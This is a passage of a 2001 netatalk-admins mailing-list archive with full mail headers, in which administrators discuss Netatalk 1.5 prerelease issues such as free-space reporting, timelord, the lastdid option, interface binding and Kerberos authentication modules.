    <pre wrap="">I have the CVS version configured with --with-did=last on FreeBSD, and it<br>works quite well with my 10.0.4 clients.<br></pre>
    </blockquote>
    <pre wrap=""><!----><br> I tried this on a Linux server, and I could reliably kernel panic OSX<br>by trying to copy large files (25Mb Quicktime files) to the server.<br><br> Seem to work with small stuff fine, but large transfers took out the<br>system.<br><br><br> Im personally hoping their might be salvation in 10.1 SMB client. It<br>can then talk to Samba instead :-)<br><br></pre>
    </blockquote>
    <br>
    </body>
    </html>

--------------080304030705070403070006--


From netatalk.administrators-errors@umich.edu  Wed Aug  8 12:43:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA13313
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 8 Aug 2001 12:43:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA14513
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 8 Aug 2001 12:43:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14499
	for netatalk.administrators-members@umich.edu; Wed, 8 Aug 2001 12:43:57 -0400 (EDT)
Received: from mail.ihonk.com (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA14465
	for <netatalk-admins@umich.edu>; Wed, 8 Aug 2001 12:43:55 -0400 (EDT)
Received: from [192.168.0.151] (a12 [192.168.0.151])
	by mail.ihonk.com (8.11.0/8.11.0) with ESMTP id f78GhlF10614;
	Wed, 8 Aug 2001 09:43:48 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 08 Aug 2001 09:44:06 -0700
Subject: Re: free space calculations both right and wrong
From: Steve Freitas <sflist@ihonk.com>
To: Nigel Pegram <editor.ac@churchesofchrist.org.au>,
        netatalk <netatalk-admins@umich.edu>
Message-ID: <B796BA66.6AAC%sflist@ihonk.com>
In-Reply-To: <B796C13B.2404%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Nigel,

Update to the latest Netatalk pre release. That was a known bug that was
fixed.

Steve

> From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
> Date: Wed, 08 Aug 2001 10:13:16 +1000
> To: netatalk <netatalk-admins@umich.edu>
> Subject: free space calculations both right and wrong
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 7 Aug 2001 21:27:37 -0400 (EDT)
> 
> Hi,
> 
> I've a working netatalk system, running TCP/IP. When connecting with a
> system 8.0 machine, it reports the correct amount of free space (about 370
> Mb) on the shared volume. However, when connecting with a system 8.6
> machine, it shows 1.9 GB free--which is incorrect. Thoughts?
> 
> Netatalk version 1.4.99-0.20000927.
> 
> I also can't seem to find documented in the source tarball what the various
> configure switches are and what they do.
> 
> TIA
> Nigel


From netatalk.administrators-errors@umich.edu  Wed Aug  8 16:07:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA23447
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 8 Aug 2001 16:07:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA08936
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 8 Aug 2001 16:07:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08930
	for netatalk.administrators-members@umich.edu; Wed, 8 Aug 2001 16:07:02 -0400 (EDT)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA08904
	for <netatalk-admins@umich.edu>; Wed, 8 Aug 2001 16:07:00 -0400 (EDT)
Received: (qmail 20327 invoked by uid 104); 8 Aug 2001 20:07:00 -0000
Received: from cwg-dated-38ec93e7d946bf32@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.1.40/v4152. . Clean. Processed in 0.23827 secs); 08/08/2001 15:07:00
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-38ec93e7d946bf32@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 8 Aug 2001 20:06:59 -0000
Received: (qmail 31321 invoked by alias); 8 Aug 2001 20:06:59 -0000
From: "Chris Garrigues" <cwg-dated-38ec93e7d946bf32@deepeddy.com>
Received: (qmail 31307 invoked from network); 8 Aug 2001 20:06:58 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <netatalk-admins@umich.edu@fixme>; 8 Aug 2001 20:06:58 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: netatalk-admins@umich.edu
Subject: timeline
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_90945648P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Wed, 08 Aug 2001 15:06:58 -0500
Message-ID: <31303.997301218@deepeddy.com>
Mail-Reply-To: cwg-dated-38ec93e7d946bf32@DeepEddy.Com

--==_Exmh_90945648P
Content-Type: text/plain; charset=us-ascii

Is there any guestimate when a 1.5pre7 or whatever it'll be called will be out 
that supports MacOS X clients?

It seems like it was early June that I heard mention of it being fixed 
in CVS.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_90945648P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7cZviK9b4h5R0IUIRAsVBAJ9JKrZOPC89+Pp3O3pJNPTx+j/rAACeJxdD
sYbip7Wb13kon6IwROOnkds=
=ObsG
-----END PGP SIGNATURE-----

--==_Exmh_90945648P--

From netatalk.administrators-errors@umich.edu  Thu Aug  9 04:40:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA21621
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 04:40:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA22835
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 04:40:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA22827
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 04:40:48 -0400 (EDT)
Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA22762
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 04:40:45 -0400 (EDT)
Received: from faxserver ([63.60.247.144]) by mta01.mail.mel.aone.net.au
          with ESMTP
          id <20010809084043.PALF7293.mta01.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 18:40:43 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15UlIG-0000Tz-00
	for <netatalk-admins@umich.edu>; Thu, 09 Aug 2001 18:35:52 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 09 Aug 2001 18:35:53 +1000
Subject: timelord & DIDs
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B7988889.242F%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I have just compiled the 1.5 pre 6 sources. Everything seems to be going ok
so far, except for timelord.

I had --enable-timelord in my configure script, and ps aux | grep timelord
shows a timelord process running, but no servers show up when the tardis
icon is clicked in the chooser.

Any suggestions?

TIA
Nigel


From netatalk.administrators-errors@umich.edu  Thu Aug  9 04:52:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA21999
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 04:52:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA20065
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 04:51:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA20059
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 04:51:44 -0400 (EDT)
Received: from winprint.graphisud.com ([194.183.206.235])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA20034
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 04:51:43 -0400 (EDT)
From: jeanmarie.aries@groupe-ips.com
Received: from groupe-ips.com ([200.9.200.21]) by winprint.graphisud.com
          (Netscape Messaging Server 3.62)  with ESMTP id 186
          for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 10:47:30 +0200
Message-ID: <3B724F48.DCF650E9@groupe-ips.com>
Date: Thu, 09 Aug 2001 10:52:24 +0200
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: unsubscribe
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit




From netatalk.administrators-errors@umich.edu  Thu Aug  9 05:08:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA22371
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 05:08:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA04788
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 05:07:59 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA04781
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 05:07:59 -0400 (EDT)
Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA04668
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 05:07:52 -0400 (EDT)
Received: from faxserver ([63.60.247.144]) by mta03.mail.mel.aone.net.au
          with ESMTP
          id <20010809090804.EEJE13849.mta03.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 19:08:04 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15UlYI-0000VE-00
	for <netatalk-admins@umich.edu>; Thu, 09 Aug 2001 18:52:26 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 09 Aug 2001 18:52:25 +1000
Subject: aliases & last did
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B7988C69.2431%editor.ac@churchesofchrist.org.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

>From a discussion on aliases on the list last year, it seems that if I use
--enable-lastdid that I cause my aliases to fail sometimes (which is what I
am noticing).

Is there a workaround, or is it a mutually exclusive scenario?


From netatalk.administrators-errors@umich.edu  Thu Aug  9 08:58:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA28797
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 08:58:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA16282
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 08:57:59 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA16264
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 08:57:58 -0400 (EDT)
Received: from video1.avwashington.com (video1.avwashington.com [216.177.38.67])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA16241
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 08:57:57 -0400 (EDT)
Received: from mail.avwashington.com (crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with SMTP id JAA19903
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 09:06:52 -0400
Date: Thu, 9 Aug 2001 08:52:19 -0400
From: Chip Mefford <cmefford@avwashington.com>
To: netatalk-admins@umich.edu
Subject: Help, I can't get netatalk to go to the right interface
Message-ID: <20010809085219.E1557@crow.avwashington.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Mailer: Balsa 1.1.1
Lines: 61

Please Help!

This is making me crazy, I've posted this before.
But it has gotten worse.

I recently had to shut the machine down due
to some changes in the machine room. I wish
I had paid attention to how much uptime it had.
Anyway, since it has come back up, NO ONE can
connect to the correct interface, and all
connections are going around through the 
router to connect to the external interface
at eth0. This isn't a horrible thing, but
it is very slow compared to a local connection.




   I've upgraded from 1.4b2 to 1.5pre2 when I upgraded 
   my RH6 box to a RH7.1 box. 

   1.4b2 under RH 6 was quite controllable and worked well,
I've been using it for quite some time. 

   Since the upgrade, my uses now seem to connect 
   to ANY interface, (no longer true) although my
atalkd.conf is as follows 

   ------include-------------- 
   eth1 -phase 2 -net 0-65534 -addr 65280.181 
   -----end include------------ 

And my afpd.conf is

   -----include--------------- 
   kiosk -port 12000 -address 192.168.0.4 -noguest
   ----end include------------

Kiosk of course, is the name of the 
interface eth1 at 192.168.0.4

 
   

   This set up worked and kept my Netatalk connections 
   on eth1 under 1.4b2, however under 1.5pre2, atalk
connections are allowed at all interfaces, and in some 
   case are going around the corner though the router to 
   get at eth0, which is not a bad thing in my case, just 
   really slow. 

   What have I done wrong? the .rpmnew file looks just 
   like the orginal default atalk.conf and non of this 
   seems very well documented, if there are differences 
   in this file relative to 1.4 

   Any input is a help, 

   thanks in advance 

   chipper 


From netatalk.administrators-errors@umich.edu  Thu Aug  9 12:54:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA13513
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 12:54:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA24776
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 12:54:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA24763
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 12:54:29 -0400 (EDT)
Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA24628
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 12:54:22 -0400 (EDT)
Received: from sibaz.com ([213.104.153.253]) by mta02-svc.ntlworld.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010809165421.UTNR29790.mta02-svc.ntlworld.com@sibaz.com>;
          Thu, 9 Aug 2001 17:54:21 +0100
Message-ID: <3B72BFB0.91C73EE1@sibaz.com>
Date: Thu, 09 Aug 2001 17:52:00 +0100
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Brice D Ruth <brice@webprojkt.com>
CC: Matthew Geier <matthew@arts.usyd.edu.au>,
        Joe Clarke <marcus@marcuscom.com>,
        netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk Developers List <Netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] dropped connections
References: <20010807181038.B27384-100000@shumai.marcuscom.com> <3B70BA18.3D7AA576@arts.usyd.edu.au> <3B714636.3050706@webprojkt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Just a thought,
                        The default resource forks that apply to files,
are setup in the AppleSystem (or whatever it is called).  As I
understand it (and I may be completely wrong) there is a 4 letter
identifier which defines which application is the default link to a
filetype.  For example on my system, jpg's default as associated with
quicktime, but are used and altered by adobe photoshop, hence get a
different resource fork.

                        I'm not sure how to go about doing it, but
surely if you're persistently using a particular file type with the same
application, you could change the default type, to whatever it is you
use.  The generated resource forks probably have the magic 4 letters in
there somewhere, but I'm just guessing.  I've not looked into how the 4
letters apply to an application, but I'm sure it could be done.

                        That all done you could use samba to upload your
massive files (dont forget you can also go file-open rather than
clicking on an file, to open it in an application other than the one it
was created by).

                        Simon


From netatalk.administrators-errors@umich.edu  Thu Aug  9 16:12:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA23355
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 16:12:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA27924
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 16:12:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA27912
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 16:12:03 -0400 (EDT)
Received: from vega.brown.edu (vega.services.brown.edu [128.148.19.202])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA27890
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 16:12:02 -0400 (EDT)
Received: from [128.148.176.25] (ppm.cis.brown.edu [128.148.176.25])
	by vega.brown.edu (8.9.3/8.9.3) with ESMTP id QAA18990
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 16:12:14 -0400 (EDT)
Mime-Version: 1.0
X-Sender: Peter_DiCamillo@postoffice.brown.edu (Unverified)
Message-Id: <p05100301b79899c24b86@[128.148.176.25]>
Date: Thu, 9 Aug 2001 16:12:13 -0400
To: netatalk-admins@umich.edu
From: Peter DiCamillo <Peter_DiCamillo@brown.edu>
Subject: Site usage of the Kerberos UAM?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I've developed new Kerberos UAM client and server code, and I'm 
trying to determine the best way to add it to the UAMs already 
distributed with netatalk.  I intend to distribute the Mac client 
code as well as the server code.

The current Kerberos UAM, uams_krb4, can be compiled to support 
either straight Kerberos authentication or AFS authentication.  I'm 
fairly certain some sites use it for AFS authentication, but I'd like 
to know if any sites use it for straight Kerberos, and if there is 
any Mac client code to support using it that way.  Would there be a 
problem with naming and documenting the UAMs so that the current UAM 
would be for AFS, and my new one would be for standard Kerberos?

Peter

From netatalk.administrators-errors@umich.edu  Thu Aug  9 21:34:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA04838
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 21:34:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA01319
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 21:34:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA01296
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 21:34:37 -0400 (EDT)
Received: from twismtpca1.twi.com (wcgate.twi.com [64.236.243.243])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA01212
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 21:34:36 -0400 (EDT)
Received: from 127.0.0.1 by twismtpca1.twi.com with SMTP (WorldSecure
 Server SMTP Relay(WSS) v4.5); Thu, 09 Aug 2001 18:18:33 -0700
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
Received: from 10.1.21.11 by twismtpca1.twi.com with ESMTP (WorldSecure
 Server SMTP Relay(WSS) v4.5); Thu, 09 Aug 2001 02:26:10 -0700
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
Received: by WBBUREXCN02 with Internet Mail Service (5.5.2650.21) id
 <QM6375B5>; Thu, 9 Aug 2001 01:49:54 -0700
Received: from twismtpca2.twi.com (TWISMTPCA2 [168.161.48.6]) by
 wbburexcn02.warnerbros.com with SMTP (Microsoft Exchange Internet Mail
 Service Version 5.5.2650.21) id QM6375BW; Thu, 9 Aug 2001 01:49:50
 -0700
Received: from 168.161.163.9 by twismtpca2.twi.com with SMTP (
 WorldSecure Server SMTP Relay(WSS) v4.5); Thu, 09 Aug 2001 01:43:54
 -0700
Received: (from slist@localhost) by terminator.rsug.itd.umich.edu (
 8.9.3/3.0+) id EAA21827; Thu, 9 Aug 2001 04:48:06 -0400 (EDT)
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
Resent-Date: Thu, 9 Aug 2001 04:48:06 -0400 (EDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 09 Aug 2001 18:35:53 +1000
Subject: timelord & DIDs
From: "Nigel Pegram" <editor.ac@churchesofchrist.org.au>
To: "netatalk" <netatalk-admins@umich.edu>
Message-ID: <B7988889.242F%editor.ac@churchesofchrist.org.au>
MIME-Version: 1.0
Resent-Message-ID: <nF2URD.A.9RF.Rykc7@terminator.rsug.itd.umich.edu>
Resent-From: netatalk-admins@umich.edu
X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/5011
X-Loop: netatalk-admins@umich.edu
Precedence: list
Resent-Sender: netatalk-admins-request@umich.edu
X-WSS-ID: 176C92C0131102-01-02
X-WSS-ID: 176DE9E343819-01-01
Content-Type: text/plain; 
 charset=us-ascii
Content-Transfer-Encoding: 7bit

I have just compiled the 1.5 pre 6 sources. Everything seems to be going ok
so far, except for timelord.

I had --enable-timelord in my configure script, and ps aux | grep timelord
shows a timelord process running, but no servers show up when the tardis
icon is clicked in the chooser.

Any suggestions?

TIA
Nigel




From netatalk.administrators-errors@umich.edu  Thu Aug  9 21:34:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA04859
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 21:34:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA20498
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 21:34:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA20487
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 21:34:28 -0400 (EDT)
Received: from twismtpca1.twi.com (wcgate.twi.com [64.236.243.243])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA20444
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 21:34:27 -0400 (EDT)
Received: from 127.0.0.1 by twismtpca1.twi.com with SMTP (WorldSecure
 Server SMTP Relay(WSS) v4.5); Thu, 09 Aug 2001 18:18:35 -0700
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
Received: from 10.1.21.11 by twismtpca1.twi.com with ESMTP (WorldSecure
 Server SMTP Relay(WSS) v4.5); Thu, 09 Aug 2001 02:26:18 -0700
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
Received: by WBBUREXCN02 with Internet Mail Service (5.5.2650.21) id
 <QM63758D>; Thu, 9 Aug 2001 02:15:03 -0700
Received: from twismtpca2.twi.com (TWISMTPCA2 [168.161.48.6]) by
 wbburexcn02.warnerbros.com with SMTP (Microsoft Exchange Internet Mail
 Service Version 5.5.2650.21) id QM637570; Thu, 9 Aug 2001 02:14:59
 -0700
Received: from 168.161.163.9 by twismtpca2.twi.com with SMTP (
 WorldSecure Server SMTP Relay(WSS) v4.5); Thu, 09 Aug 2001 02:09:02
 -0700
Received: (from slist@localhost) by terminator.rsug.itd.umich.edu (
 8.9.3/3.0+) id FAA22492; Thu, 9 Aug 2001 05:14:24 -0400 (EDT)
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
Resent-Date: Thu, 9 Aug 2001 05:14:24 -0400 (EDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 09 Aug 2001 18:52:25 +1000
Subject: aliases & last did
From: "Nigel Pegram" <editor.ac@churchesofchrist.org.au>
To: "netatalk" <netatalk-admins@umich.edu>
Message-ID: <B7988C69.2431%editor.ac@churchesofchrist.org.au>
MIME-Version: 1.0
Resent-Message-ID: <jKL7WC.A.rdF.-Llc7@terminator.rsug.itd.umich.edu>
Resent-From: netatalk-admins@umich.edu
X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/5012
X-Loop: netatalk-admins@umich.edu
Precedence: list
Resent-Sender: netatalk-admins-request@umich.edu
X-WSS-ID: 176C8CA4135258-01-02
X-WSS-ID: 176DE9E143917-01-01
Content-Type: text/plain; 
 charset=us-ascii
Content-Transfer-Encoding: 7bit

>From a discussion on aliases on the list last year, it seems that if I use
--enable-lastdid that I cause my aliases to fail sometimes (which is what I
am noticing).

Is there a workaround, or is it a mutually exclusive scenario?




From netatalk.administrators-errors@umich.edu  Thu Aug  9 22:48:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA07732
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 9 Aug 2001 22:48:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA06992
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 9 Aug 2001 22:48:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA06978
	for netatalk.administrators-members@umich.edu; Thu, 9 Aug 2001 22:48:08 -0400 (EDT)
Received: from twismtpca1.twi.com (wcgate.twi.com [64.236.243.243])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id WAA06947
	for <netatalk-admins@umich.edu>; Thu, 9 Aug 2001 22:48:07 -0400 (EDT)
Received: from 127.0.0.1 by twismtpca1.twi.com with SMTP (WorldSecure
 Server SMTP Relay(WSS) v4.5); Thu, 09 Aug 2001 19:29:43 -0700
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
Received: from 10.1.21.11 by twismtpca1.twi.com with ESMTP (WorldSecure
 Server SMTP Relay(WSS) v4.5); Wed, 08 Aug 2001 16:00:43 -0700
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
